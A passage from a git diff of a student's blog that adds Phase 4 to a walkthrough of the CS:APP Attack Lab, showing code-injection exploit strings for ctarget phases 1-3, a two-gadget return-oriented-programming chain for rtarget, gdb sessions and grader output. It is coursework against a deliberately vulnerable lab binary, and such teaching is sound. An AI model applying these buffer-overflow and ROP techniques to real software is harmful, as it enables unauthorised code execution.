-<pre><code>jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ ./hex2raw < ctarget.l3.txt | ./ctarget -Cookie: 0x3e8dee8f -Type string:Touch3!: You called touch3("3e8dee8f") -Valid solution for level 3 with target ctarget -PASS: Sent exploit string to server to be validated. -NICE JOB! +<div class="codehilite"> +<pre><span></span><code>jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$<span class="w"> </span>./hex2raw<span class="w"> </span><<span class="w"> </span>ctarget.l3.txt<span class="w"> </span><span class="p">|</span><span class="w"> </span>./ctarget<span class="w"> </span> +Cookie:<span class="w"> </span>0x3e8dee8f +Type<span class="w"> </span>string:Touch3!:<span class="w"> </span>You<span class="w"> </span>called<span class="w"> </span>touch3<span class="o">(</span><span class="s2">"3e8dee8f"</span><span class="o">)</span> +Valid<span class="w"> </span>solution<span class="w"> </span><span class="k">for</span><span class="w"> </span>level<span class="w"> </span><span class="m">3</span><span class="w"> </span>with<span class="w"> </span>target<span class="w"> </span>ctarget +PASS:<span class="w"> </span>Sent<span class="w"> </span>exploit<span class="w"> </span>string<span class="w"> </span>to<span class="w"> </span>server<span class="w"> </span>to<span class="w"> </span>be<span class="w"> </span>validated. +NICE<span class="w"> </span>JOB! </code></pre> +</div> <p>Phases 1-3 Complete.</p> + +<h2>Phase 4</h2> + +<blockquote> + <p>For Phase 4, you will repeat the attack of Phase 2, but do so on program RTARGET using gadgets from your + gadget farm. You can construct your solution using gadgets consisting of the following instruction types, + and using only the first eight x86-64 registers (%rax–%rdi). + * movq + * popq + * ret + * nop</p> +</blockquote> + +<blockquote> + <p>All the gadgets you need can be found in the region of the code for rtarget demarcated by the + functions start<em>farm and mid</em>farm</p> +</blockquote> + +<blockquote> + <p>You can do this attack with just two gadgets</p> +</blockquote> + +<blockquote> + <p>When a gadget uses a popq instruction, it will pop data from the stack. As a result, your exploit + string will contain a combination of gadget addresses and data.</p> +</blockquote> + +<p>Let us check if we can find <code>popq %rdi</code> between <code>start_farm</code> and <code>end_farm</code></p> + +<p>The way a normal person would find the hex representation <code>58</code> to be between <code>start_farm</code> and <code>end_farm</code> is to find the line numbers for both and +then search between those lines. But, what if you don't want to move away from the terminal?</p> + +<p>Assuming, the disassembled code for <code>rtarget</code> is stored in <code>dis2.txt</code> (<code>objdump -d rtarget > dis2.txt</code>)</p> + +<pre><code>jovyan@jupyter-nach6988:~/lab3-attacklab-navanchauhan/target66$ sed -n '/start_farm/,/end_farm/p' dis2.txt | grep -n2 " 58" +16-000000000040281f <getval_373>: +17- 40281f: f3 0f 1e fa endbr64 +18: 402823: b8 d3 f5 c2 58 mov $0x58c2f5d3,%eax +19- 402828: c3 ret +20- +-- +26-0000000000402834 <setval_212>: +27- 402834: f3 0f 1e fa endbr64 +28: 402838: c7 07 58 90 c3 92 movl $0x92c39058,(%rdi) +29- 40283e: c3 ret +30- +-- +41-0000000000402854 <setval_479>: +42- 402854: f3 0f 1e fa endbr64 +43: 402858: c7 07 58 c7 7f 61 movl $0x617fc758,(%rdi) +44- 40285e: c3 ret +45- +</code></pre> + +<p>If we were to pick the first one as our gadget, the instruction address is <code>0x402823</code>, but to get to the instruction <code>58</code> we need to add 4 bytes:</p> + +<p><code>=> Gadget address = 0x402823 + 0x4 = 0x402827</code></p> + +<p>The PDF already provides the next gadget we are supposed to look for <code>48 89 c7</code></p> + +<pre><code>jovyan@jupyter-nach6988:~/lab3-attacklab-navanchauhan/target66$ sed -n '/start_farm/,/end_farm/p' dis2.txt | grep -n2 "48 89 c7" +11-0000000000402814 <setval_253>: +12- 402814: f3 0f 1e fa endbr64 +13: 402818: c7 07 48 89 c7 94 movl $0x94c78948,(%rdi) +14- 40281e: c3 ret +15- +-- +31-000000000040283f <getval_424>: +32- 40283f: f3 0f 1e fa endbr64 +33: 402843: b8 48 89 c7 c3 mov $0xc3c78948,%eax +34- 402848: c3 ret +35- +36-0000000000402849 <setval_417>: +37- 402849: f3 0f 1e fa endbr64 +38: 40284d: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi) +39- 402853: c3 ret +40- +jovyan@jupyter-nach6988:~/lab3-attacklab-navanchauhan/target66$ +</code></pre> + +<p>We cannot use the first match because it is followed by <code>0x94</code> instead of <code>c3</code>, either of the next two matches will work (<code>0x90</code> is <code>nop</code> and it does nothing but increment the program counter by 1)</p> + +<p>Again, we have to account for the offset.</p> + +<p>Taking <code>0x402843</code> we need to add just 1 byte. </p> + +<p><code>=> 0x402843 + 1 = 0x402844</code></p> + +<p>Our answer for this file is going to be:</p> + +<pre><code>padding +gadget1 +cookie +gadget2 +touch2 +</code></pre> + +<div class="codehilite"> +<pre><span></span><code>jovyan@jupyter-nach6988:~/lab3-attacklab-navanchauhan/target66$<span class="w"> </span>cat<span class="w"> </span>dis2.txt<span class="w"> </span><span class="p">|</span><span class="w"> </span>grep<span class="w"> </span>touch2 +000000000040264e<span class="w"> </span><touch2>: +<span class="w"> </span><span class="m">402666</span>:<span class="w"> </span><span class="m">74</span><span class="w"> </span>2a<span class="w"> </span>je<span class="w"> </span><span class="m">402692</span><span class="w"> </span><touch2+0x44> +<span class="w"> </span>4026b2:<span class="w"> </span>eb<span class="w"> </span>d4<span class="w"> </span>jmp<span class="w"> </span><span class="m">402688</span><span class="w"> </span><touch2+0x3a> +</code></pre> +</div> + +<pre><code>00 00 00 00 00 00 00 00 +00 00 00 00 00 00 00 00 +00 00 00 00 00 00 00 00 +27 28 40 00 00 00 00 00 +8f ee 8d 3e 00 00 00 00 +44 28 40 00 00 00 00 00 +4e 26 40 00 00 00 00 00 +</code></pre> + +<div class="codehilite"> +<pre><span></span><code>jovyan@jupyter-nach6988:~/lab3-attacklab-navanchauhan/target66$<span class="w"> </span>./hex2raw<span class="w"> </span><<span class="w"> </span>./rtarget.l2.txt<span class="w"> </span><span class="p">|</span><span class="w"> </span>./rtarget<span class="w"> </span> +Cookie:<span class="w"> </span>0x3e8dee8f +Type<span class="w"> </span>string:Touch2!:<span class="w"> </span>You<span class="w"> </span>called<span class="w"> </span>touch2<span class="o">(</span>0x3e8dee8f<span class="o">)</span> +Valid<span class="w"> </span>solution<span class="w"> </span><span class="k">for</span><span class="w"> </span>level<span class="w"> </span><span class="m">2</span><span class="w"> </span>with<span class="w"> </span>target<span class="w"> </span>rtarget +PASS:<span class="w"> </span>Sent<span class="w"> </span>exploit<span class="w"> </span>string<span class="w"> </span>to<span class="w"> </span>server<span class="w"> </span>to<span class="w"> </span>be<span class="w"> </span>validated. +NICE<span class="w"> </span>JOB! +</code></pre> +</div> ]]></content:encoded> </item> diff --git a/docs/index.html b/docs/index.html index eecab0d..6131ab9 100644 --- a/docs/index.html +++ b/docs/index.html @@ -50,7 +50,7 @@ <li><a href="/posts/2023-10-05-attack-lab.html">Attack Lab</a></li> <ul> - <li>Walkthrough of Attack Lab Phases 1-3 for CSCI 2400 Computer Systems</li> + <li>Walkthrough of Attack Lab Phases 1-4 for CSCI 2400 Computer Systems</li> <li>Published On: 2023-10-05 20:01</li> <li>Tags: diff --git a/docs/posts/2023-10-05-attack-lab.html b/docs/posts/2023-10-05-attack-lab.html index 393951b..82a02fe 100644 --- a/docs/posts/2023-10-05-attack-lab.html +++ b/docs/posts/2023-10-05-attack-lab.html @@ -13,9 +13,9 @@ <meta name="og:url" content="https://web.navan.dev/" /> <meta name="twitter:title" content="Attack Lab" /> <meta name="og:title" content="Attack Lab" /> - <meta name="description" content="Walkthrough of Attack Lab Phases 1-3 for CSCI 2400 Computer Systems" /> - <meta name="twitter:description" content="Walkthrough of Attack Lab Phases 1-3 for CSCI 2400 Computer Systems" /> - <meta name="og:description" content="Walkthrough of Attack Lab Phases 1-3 for CSCI 2400 Computer Systems" /> + <meta name="description" content="Walkthrough of Attack Lab Phases 1-4 for CSCI 2400 Computer Systems" /> + <meta name="twitter:description" content="Walkthrough of Attack Lab Phases 1-4 for CSCI 2400 Computer Systems" /> + <meta name="og:description" content="Walkthrough of Attack Lab Phases 1-4 for CSCI 2400 Computer Systems" /> <meta name="twitter:card" content="summary_large_image" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <link rel="shortcut icon" href="/images/favicon.png" type="image/png" /> @@ -78,15 +78,19 @@ <p>Now, since we know the buffer size we can try passing the address of the touch1 function.</p> -<pre><code>jxxxan@jupyter-xxxxxx8:~/lab3-attacklab-xxxxxxxxuhan/target66$ cat dis.txt | grep touch1 -000000000040261e <touch1>: +<div class="codehilite"> +<pre><span></span><code>jxxxan@jupyter-xxxxxx8:~/lab3-attacklab-xxxxxxxxuhan/target66$<span class="w"> </span>cat<span class="w"> </span>dis.txt<span class="w"> </span><span class="p">|</span><span class="w"> </span>grep<span class="w"> </span>touch1 +000000000040261e<span class="w"> </span><touch1>: </code></pre> +</div> <p>We were told in our recitation that our system was little-endian (so the bytes will be in the reverse order). Otherwise, we can use python to check:</p> -<pre><code>jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ python -c 'import sys; print(sys.byteorder)' +<div class="codehilite"> +<pre><span></span><code>jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$<span class="w"> </span>python<span class="w"> </span>-c<span class="w"> </span><span class="s1">'import sys; print(sys.byteorder)'</span> little </code></pre> +</div> <p>We have our padding size and the function we need to call, we can write it in <code>ctarget.l1.txt</code></p> @@ -96,13 +100,15 @@ little 1e 26 40 00 00 00 00 00 </code></pre> -<pre><code>jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ ./hex2raw < ctarget.l1.txt | ./ctarget -Cookie: 0x3e8dee8f -Type string:Touch1!: You called touch1() -Valid solution for level 1 with target ctarget -PASS: Sent exploit string to server to be validated. -NICE JOB! +<div class="codehilite"> +<pre><span></span><code>jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$<span class="w"> </span>./hex2raw<span class="w"> </span><<span class="w"> </span>ctarget.l1.txt<span class="w"> </span><span class="p">|</span><span class="w"> </span>./ctarget<span class="w"> </span> +Cookie:<span class="w"> </span>0x3e8dee8f +Type<span class="w"> </span>string:Touch1!:<span class="w"> </span>You<span class="w"> </span>called<span class="w"> </span>touch1<span class="o">()</span> +Valid<span class="w"> </span>solution<span class="w"> </span><span class="k">for</span><span class="w"> </span>level<span class="w"> </span><span class="m">1</span><span class="w"> </span>with<span class="w"> </span>target<span class="w"> </span>ctarget +PASS:<span class="w"> </span>Sent<span class="w"> </span>exploit<span class="w"> </span>string<span class="w"> </span>to<span class="w"> </span>server<span class="w"> </span>to<span class="w"> </span>be<span class="w"> </span>validated. +NICE<span class="w"> </span>JOB! </code></pre> +</div> <h2>Phase 2</h2> @@ -141,25 +147,29 @@ NICE JOB! <p>This hint tells us that we need to store the cookie in the rdi register</p> -<pre><code>movq $0x3e8dee8f,%rdi -retq +<div class="codehilite"> +<pre><span></span><code><span class="nf">movq</span><span class="w"> </span><span class="no">$0x3e8dee8f</span><span class="p">,</span><span class="nv">%rdi</span><span class="w"> </span> +<span class="no">retq</span> </code></pre> +</div> <p>To get the byte representation, we need to compile the code and then disassemble it.</p> -<pre><code>jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ gcc -c phase2.s && objdump -d phase2.o -phase2.s: Assembler messages: -phase2.s: Warning: end of file not at end of a line; newline inserted +<div class="codehilite"> +<pre><span></span><code>jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$<span class="w"> </span>gcc<span class="w"> </span>-c<span class="w"> </span>phase2.s<span class="w"> </span><span class="o">&&</span><span class="w"> </span>objdump<span class="w"> </span>-d<span class="w"> </span>phase2.o +phase2.s:<span class="w"> </span>Assembler<span class="w"> </span>messages: +phase2.s:<span class="w"> </span>Warning:<span class="w"> </span>end<span class="w"> </span>of<span class="w"> </span>file<span class="w"> </span>not<span class="w"> </span>at<span class="w"> </span>end<span class="w"> </span>of<span class="w"> </span>a<span class="w"> </span>line<span class="p">;</span><span class="w"> </span>newline<span class="w"> </span>inserted -phase2.o: file format elf64-x86-64 +phase2.o:<span class="w"> </span>file<span class="w"> </span>format<span class="w"> </span>elf64-x86-64 -Disassembly of section .text: +Disassembly<span class="w"> </span>of<span class="w"> </span>section<span class="w"> </span>.text: -0000000000000000 <.text>: - 0: 48 c7 c7 8f ee 8d 3e mov $0x3e8dee8f,%rdi - 7: c3 ret +<span class="m">0000000000000000</span><span class="w"> </span><.text>: +<span class="w"> </span><span class="m">0</span>:<span class="w"> </span><span class="m">48</span><span class="w"> </span>c7<span class="w"> </span>c7<span class="w"> </span>8f<span class="w"> </span>ee<span class="w"> </span>8d<span class="w"> </span>3e<span class="w"> </span>mov<span class="w"> </span><span class="nv">$0</span>x3e8dee8f,%rdi +<span class="w"> </span><span class="m">7</span>:<span class="w"> </span>c3<span class="w"> </span>ret<span class="w"> </span> </code></pre> +</div> <p>Thus, the byte representation for our asm code is <code>48 c7 c7 8f ee 8d 3e c3</code></p> @@ -178,48 +188,50 @@ Disassembly of section .text: <p>What we are going to do now is to add a break on <code>getbuf</code>, and run the program just after it asks us to enter a string and then find the address of <code>%rsp</code></p> -<pre><code>jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ gdb ./ctarget -GNU gdb (Ubuntu 12.1-0ubuntu1~22.04) 12.1 -Copyright (C) 2022 Free Software Foundation, Inc. -License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> -This is free software: you are free to change and redistribute it. -There is NO WARRANTY, to the extent permitted by law. -Type "show copying" and "show warranty" for details. -This GDB was configured as "x86_64-linux-gnu". -Type "show configuration" for configuration details. -For bug reporting instructions, please see: +<div class="codehilite"> +<pre><span></span><code>jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$<span class="w"> </span>gdb<span class="w"> </span>./ctarget +GNU<span class="w"> </span>gdb<span class="w"> </span><span class="o">(</span>Ubuntu<span class="w"> </span><span class="m">12</span>.1-0ubuntu1~22.04<span class="o">)</span><span class="w"> </span><span class="m">12</span>.1 +Copyright<span class="w"> </span><span class="o">(</span>C<span class="o">)</span><span class="w"> </span><span class="m">2022</span><span class="w"> </span>Free<span class="w"> </span>Software<span class="w"> </span>Foundation,<span class="w"> </span>Inc. +License<span class="w"> </span>GPLv3+:<span class="w"> </span>GNU<span class="w"> </span>GPL<span class="w"> </span>version<span class="w"> </span><span class="m">3</span><span class="w"> </span>or<span class="w"> </span>later<span class="w"> </span><http://gnu.org/licenses/gpl.html> +This<span class="w"> </span>is<span class="w"> </span>free<span class="w"> </span>software:<span class="w"> </span>you<span class="w"> </span>are<span class="w"> </span>free<span class="w"> </span>to<span class="w"> </span>change<span class="w"> </span>and<span class="w"> </span>redistribute<span class="w"> </span>it. +There<span class="w"> </span>is<span class="w"> </span>NO<span class="w"> </span>WARRANTY,<span class="w"> </span>to<span class="w"> </span>the<span class="w"> </span>extent<span class="w"> </span>permitted<span class="w"> </span>by<span class="w"> </span>law. +Type<span class="w"> </span><span class="s2">"show copying"</span><span class="w"> </span>and<span class="w"> </span><span class="s2">"show warranty"</span><span class="w"> </span><span class="k">for</span><span class="w"> </span>details. +This<span class="w"> </span>GDB<span class="w"> </span>was<span class="w"> </span>configured<span class="w"> </span>as<span class="w"> </span><span class="s2">"x86_64-linux-gnu"</span>. +Type<span class="w"> </span><span class="s2">"show configuration"</span><span class="w"> </span><span class="k">for</span><span class="w"> </span>configuration<span class="w"> </span>details. +For<span class="w"> </span>bug<span class="w"> </span>reporting<span class="w"> </span>instructions,<span class="w"> </span>please<span class="w"> </span>see: <https://www.gnu.org/software/gdb/bugs/>. -Find the GDB manual and other documentation resources online at: - <http://www.gnu.org/software/gdb/documentation/>. - -For help, type "help". -Type "apropos word" to search for commands related to "word"... -Reading symbols from ./ctarget... -(gdb) b getbuf -Breakpoint 1 at 0x402608: file buf.c, line 12. -(gdb) run -Starting program: /home/jxxxxn/lab3-attacklab-naxxxan/target66/ctarget -Cookie: 0x3e8dee8f - -Breakpoint 1, getbuf () at buf.c:12 -12 buf.c: No such file or directory. -(gdb) disas -Dump of assembler code for function getbuf: -=> 0x0000000000402608 <+0>: sub $0x18,%rsp - 0x000000000040260c <+4>: mov %rsp,%rdi - 0x000000000040260f <+7>: call 0x4028a9 <Gets> - 0x0000000000402614 <+12>: mov $0x1,%eax - 0x0000000000402619 <+17>: add $0x18,%rsp - 0x000000000040261d <+21>: ret -End of assembler dump. -(gdb) until *0x402614 -Type string:fnaewuilrgchneaisurcngefsiduerxgecnseriuesgcbnr7ewqdt2348dn564q03278g602365bgn34890765bqv470 trq378t4378gwe -getbuf () at buf.c:15 -15 in buf.c -(gdb) x/s $rsp -0x55621b40: "fnaewuilrgchneaisurcngefsiduerxgecnseriuesgcbnr7ewqdt2348dn564q03278g602365bgn34890765bqv470 trq378t4378gwe" -(gdb) +Find<span class="w"> </span>the<span class="w"> </span>GDB<span class="w"> </span>manual<span class="w"> </span>and<span class="w"> </span>other<span class="w"> </span>documentation<span class="w"> </span>resources<span class="w"> </span>online<span class="w"> </span>at: +<span class="w"> </span><http://www.gnu.org/software/gdb/documentation/>. + +For<span class="w"> </span>help,<span class="w"> </span><span class="nb">type</span><span class="w"> </span><span class="s2">"help"</span>. +Type<span class="w"> </span><span class="s2">"apropos word"</span><span class="w"> </span>to<span class="w"> </span>search<span class="w"> </span><span class="k">for</span><span class="w"> </span>commands<span class="w"> </span>related<span class="w"> </span>to<span class="w"> </span><span class="s2">"word"</span>... +Reading<span class="w"> </span>symbols<span class="w"> </span>from<span class="w"> </span>./ctarget... +<span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span>b<span class="w"> </span>getbuf +Breakpoint<span class="w"> </span><span class="m">1</span><span class="w"> </span>at<span class="w"> </span>0x402608:<span class="w"> </span>file<span class="w"> </span>buf.c,<span class="w"> </span>line<span class="w"> </span><span class="m">12</span>. +<span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span>run +Starting<span class="w"> </span>program:<span class="w"> </span>/home/jxxxxn/lab3-attacklab-naxxxan/target66/ctarget<span class="w"> </span> +Cookie:<span class="w"> </span>0x3e8dee8f + +Breakpoint<span class="w"> </span><span class="m">1</span>,<span class="w"> </span>getbuf<span class="w"> </span><span class="o">()</span><span class="w"> </span>at<span class="w"> </span>buf.c:12 +<span class="m">12</span><span class="w"> </span>buf.c:<span class="w"> </span>No<span class="w"> </span>such<span class="w"> </span>file<span class="w"> </span>or<span class="w"> </span>directory. +<span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span>disas +Dump<span class="w"> </span>of<span class="w"> </span>assembler<span class="w"> </span>code<span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="k">function</span><span class="w"> </span>getbuf: +<span class="o">=</span>><span class="w"> </span>0x0000000000402608<span class="w"> </span><+0>:<span class="w"> </span>sub<span class="w"> </span><span class="nv">$0</span>x18,%rsp +<span class="w"> </span>0x000000000040260c<span class="w"> </span><+4>:<span class="w"> </span>mov<span class="w"> </span>%rsp,%rdi +<span class="w"> </span>0x000000000040260f<span class="w"> </span><+7>:<span class="w"> </span>call<span class="w"> </span>0x4028a9<span class="w"> </span><Gets> +<span class="w"> </span>0x0000000000402614<span class="w"> </span><+12>:<span class="w"> </span>mov<span class="w"> </span><span class="nv">$0</span>x1,%eax +<span class="w"> </span>0x0000000000402619<span class="w"> </span><+17>:<span class="w"> </span>add<span class="w"> </span><span class="nv">$0</span>x18,%rsp +<span class="w"> </span>0x000000000040261d<span class="w"> </span><+21>:<span class="w"> </span>ret<span class="w"> </span> +End<span class="w"> </span>of<span class="w"> </span>assembler<span class="w"> </span>dump. +<span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span><span class="k">until</span><span class="w"> </span>*0x402614 +Type<span class="w"> </span>string:fnaewuilrgchneaisurcngefsiduerxgecnseriuesgcbnr7ewqdt2348dn564q03278g602365bgn34890765bqv470<span class="w"> </span>trq378t4378gwe +getbuf<span class="w"> </span><span class="o">()</span><span class="w"> </span>at<span class="w"> </span>buf.c:15 +<span class="m">15</span><span class="w"> </span><span class="k">in</span><span class="w"> </span>buf.c +<span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span>x/s<span class="w"> </span><span class="nv">$rsp</span> +0x55621b40:<span class="w"> </span><span class="s2">"fnaewuilrgchneaisurcngefsiduerxgecnseriuesgcbnr7ewqdt2348dn564q03278g602365bgn34890765bqv470 trq378t4378gwe"</span> +<span class="o">(</span>gdb<span class="o">)</span> </code></pre> +</div> <p>So, the address for <code>%rsp</code> is <code>0x55621b40</code></p> @@ -233,11 +245,13 @@ address of touch2 function <p>To get the address of <code>touch2</code> we can run:</p> -<pre><code>jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ cat dis.txt | grep touch2 -000000000040264e <touch2>: - 402666: 74 2a je 402692 <touch2+0x44> - 4026b2: eb d4 jmp 402688 <touch2+0x3a> +<div class="codehilite"> +<pre><span></span><code>jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$<span class="w"> </span>cat<span class="w"> </span>dis.txt<span class="w"> </span><span class="p">|</span><span class="w"> </span>grep<span class="w"> </span>touch2 +000000000040264e<span class="w"> </span><touch2>: +<span class="w"> </span><span class="m">402666</span>:<span class="w"> </span><span class="m">74</span><span class="w"> </span>2a<span class="w"> </span>je<span class="w"> </span><span class="m">402692</span><span class="w"> </span><touch2+0x44> +<span class="w"> </span>4026b2:<span class="w"> </span>eb<span class="w"> </span>d4<span class="w"> </span>jmp<span class="w"> </span><span class="m">402688</span><span class="w"> </span><touch2+0x3a> </code></pre> +</div> <pre><code>48 c7 c7 8f ee 8d 3e c3 00 00 00 00 00 00 00 00 @@ -248,13 +262,15 @@ address of touch2 function <p>Do note that our required padding is 24 bytes, we are only adding 16 bytes because our asm code is 8 bytes on its own. Our goal is to have a total of 24 bytes in padding, not 8 + 24 bytes, </p> -<pre><code>joxxxx@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ ./hex2raw < ctarget.l2.txt | ./ctarget -Cookie: 0x3e8dee8f -Type string:Touch2!: You called touch2(0x3e8dee8f) -Valid solution for level 2 with target ctarget -PASS: Sent exploit string to server to be validated. -NICE JOB! +<div class="codehilite"> +<pre><span></span><code>joxxxx@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$<span class="w"> </span>./hex2raw<span class="w"> </span><<span class="w"> </span>ctarget.l2.txt<span class="w"> </span><span class="p">|</span><span class="w"> </span>./ctarget<span class="w"> </span> +Cookie:<span class="w"> </span>0x3e8dee8f +Type<span class="w"> </span>string:Touch2!:<span class="w"> </span>You<span class="w"> </span>called<span class="w"> </span>touch2<span class="o">(</span>0x3e8dee8f<span class="o">)</span> +Valid<span class="w"> </span>solution<span class="w"> </span><span class="k">for</span><span class="w"> </span>level<span class="w"> </span><span class="m">2</span><span class="w"> </span>with<span class="w"> </span>target<span class="w"> </span>ctarget +PASS:<span class="w"> </span>Sent<span class="w"> </span>exploit<span class="w"> </span>string<span class="w"> </span>to<span class="w"> </span>server<span class="w"> </span>to<span class="w"> </span>be<span class="w"> </span>validated. +NICE<span class="w"> </span>JOB! </code></pre> +</div> <h2>Phase 3</h2> @@ -279,8 +295,15 @@ NICE JOB! <p>Because <code>hexmatch</code> and <code>strncmp</code> might overwrite the buffer allocated for <code>getbuf</code> we will try to store the data after the function <code>touch3</code> itself.</p> +<p>The rationale is simple: by the time our payload is executed, we will be setting <code>%rdi</code> to point to the cookie. Placing the cookie after <code>touch3</code> function ensures that it will not be overwritten by the function calls. It also means that we can calculate the address of the cookie with relative ease, based on the known offsets.</p> + <p>=> The total bytes before the cookie = Buffer (0x18 in our case) + Return Address of %rsp (8 bytes) + Touch 3 (8 Bytes) = 0x18 + 8 + 8 = 28 (hex)</p> +<ul> +<li>Return Address (8 Bytes): Since in a 64 bit system the return address is always 8 bytes, by overwriting this address, we redirect the function to jump to our desired location upon returning (e.g. the beginning of the <code>touch3</code> function)</li> +<li>Touch 3 (8 bytes): The address of the <code>touch3</code> function is 8 bytes long.</li> +</ul> + <p>We can use our address for <code>%rsp</code> from phase 2, and simply add <code>0x28</code> to it.</p> <p>=> <code>0x55621b40</code> + <code>0x28</code> = <code>0x55621B68</code></p> @@ -293,19 +316,21 @@ NICE JOB! </code></pre> </div> -<pre><code>jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ gcc -c phase3.s && objdump -d phase3.o -phase3.s: Assembler messages: -phase3.s: Warning: end of file not at end of a line; newline inserted +<div class="codehilite"> +<pre><span></span><code>jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$<span class="w"> </span>gcc<span class="w"> </span>-c<span class="w"> </span>phase3.s<span class="w"> </span><span class="o">&&</span><span class="w"> </span>objdump<span class="w"> </span>-d<span class="w"> </span>phase3.o +phase3.s:<span class="w"> </span>Assembler<span class="w"> </span>messages: +phase3.s:<span class="w"> </span>Warning:<span class="w"> </span>end<span class="w"> </span>of<span class="w"> </span>file<span class="w"> </span>not<span class="w"> </span>at<span class="w"> </span>end<span class="w"> </span>of<span class="w"> </span>a<span class="w"> </span>line<span class="p">;</span><span class="w"> </span>newline<span class="w"> </span>inserted -phase3.o: file format elf64-x86-64 +phase3.o:<span class="w"> </span>file<span class="w"> </span>format<span class="w"> </span>elf64-x86-64 -Disassembly of section .text: +Disassembly<span class="w"> </span>of<span class="w"> </span>section<span class="w"> </span>.text: -0000000000000000 <.text>: - 0: 48 c7 c7 68 1b 62 55 mov $0x55621b68,%rdi - 7: c3 ret +<span class="m">0000000000000000</span><span class="w"> </span><.text>: +<span class="w"> </span><span class="m">0</span>:<span class="w"> </span><span class="m">48</span><span class="w"> </span>c7<span class="w"> </span>c7<span class="w"> </span><span class="m">68</span><span class="w"> </span>1b<span class="w"> </span><span class="m">62</span><span class="w"> </span><span class="m">55</span><span class="w"> </span>mov<span class="w"> </span><span class="nv">$0</span>x55621b68,%rdi +<span class="w"> </span><span class="m">7</span>:<span class="w"> </span>c3<span class="w"> </span>ret </code></pre> +</div> <p>Thus, our answer is going to be in the form:</p> @@ -318,17 +343,21 @@ cookie string <p>To quickly get the address for <code>touch3</code></p> -<pre><code>jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ cat dis.txt | grep touch3 -0000000000402763 <touch3>: - 402781: 74 2d je 4027b0 <touch3+0x4d> - 4027d3: eb d1 jmp 4027a6 <touch3+0x43> +<div class="codehilite"> +<pre><span></span><code>jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$<span class="w"> </span>cat<span class="w"> </span>dis.txt<span class="w"> </span><span class="p">|</span><span class="w"> </span>grep<span class="w"> </span>touch3 +<span class="m">0000000000402763</span><span class="w"> </span><touch3>: +<span class="w"> </span><span class="m">402781</span>:<span class="w"> </span><span class="m">74</span><span class="w"> </span>2d<span class="w"> </span>je<span class="w"> </span>4027b0<span class="w"> </span><touch3+0x4d> +<span class="w"> </span>4027d3:<span class="w"> </span>eb<span class="w"> </span>d1<span class="w"> </span>jmp<span class="w"> </span>4027a6<span class="w"> </span><touch3+0x43> </code></pre> +</div> <p>We need to use an ASCII to Hex converter to convert the cookie string into hex.</p> -<pre><code>jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ echo -n 3e8dee8f | xxd -p -3365386465653866 +<div class="codehilite"> +<pre><span></span><code>jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$<span class="w"> </span><span class="nb">echo</span><span class="w"> </span>-n<span class="w"> </span>3e8dee8f<span class="w"> </span><span class="p">|</span><span class="w"> </span>xxd<span class="w"> </span>-p +<span class="m">3365386465653866</span> </code></pre> +</div> <p>Thus, our cookie string representation is <code>33 65 38 64 65 65 38 66</code></p> @@ -340,16 +369,141 @@ cookie string 33 65 38 64 65 65 38 66 </code></pre> -<pre><code>jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ ./hex2raw < ctarget.l3.txt | ./ctarget -Cookie: 0x3e8dee8f -Type string:Touch3!: You called touch3("3e8dee8f") -Valid solution for level 3 with target ctarget -PASS: Sent exploit string to server to be validated. -NICE JOB! +<div class="codehilite"> +<pre><span></span><code>jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$<span class="w"> </span>./hex2raw<span class="w"> </span><<span class="w"> </span>ctarget.l3.txt<span class="w"> </span><span class="p">|</span><span class="w"> </span>./ctarget<span class="w"> </span> +Cookie:<span class="w"> </span>0x3e8dee8f +Type<span class="w"> </span>string:Touch3!:<span class="w"> </span>You<span class="w"> </span>called<span class="w"> </span>touch3<span class="o">(</span><span class="s2">"3e8dee8f"</span><span class="o">)</span> +Valid<span class="w"> </span>solution<span class="w"> </span><span class="k">for</span><span class="w"> </span>level<span class="w"> </span><span class="m">3</span><span class="w"> </span>with<span class="w"> </span>target<span class="w"> </span>ctarget +PASS:<span class="w"> </span>Sent<span class="w"> </span>exploit<span class="w"> </span>string<span class="w"> </span>to<span class="w"> </span>server<span class="w"> </span>to<span class="w"> </span>be<span class="w"> </span>validated. +NICE<span class="w"> </span>JOB! </code></pre> +</div> <p>Phases 1-3 Complete.</p> +<h2>Phase 4</h2> + +<blockquote> + <p>For Phase 4, you will repeat the attack of Phase 2, but do so on program RTARGET using gadgets from your + gadget farm. You can construct your solution using gadgets consisting of the following instruction types, + and using only the first eight x86-64 registers (%rax–%rdi). + * movq + * popq + * ret + * nop</p> +</blockquote> + +<blockquote> + <p>All the gadgets you need can be found in the region of the code for rtarget demarcated by the + functions start<em>farm and mid</em>farm</p> +</blockquote> + +<blockquote> + <p>You can do this attack with just two gadgets</p> 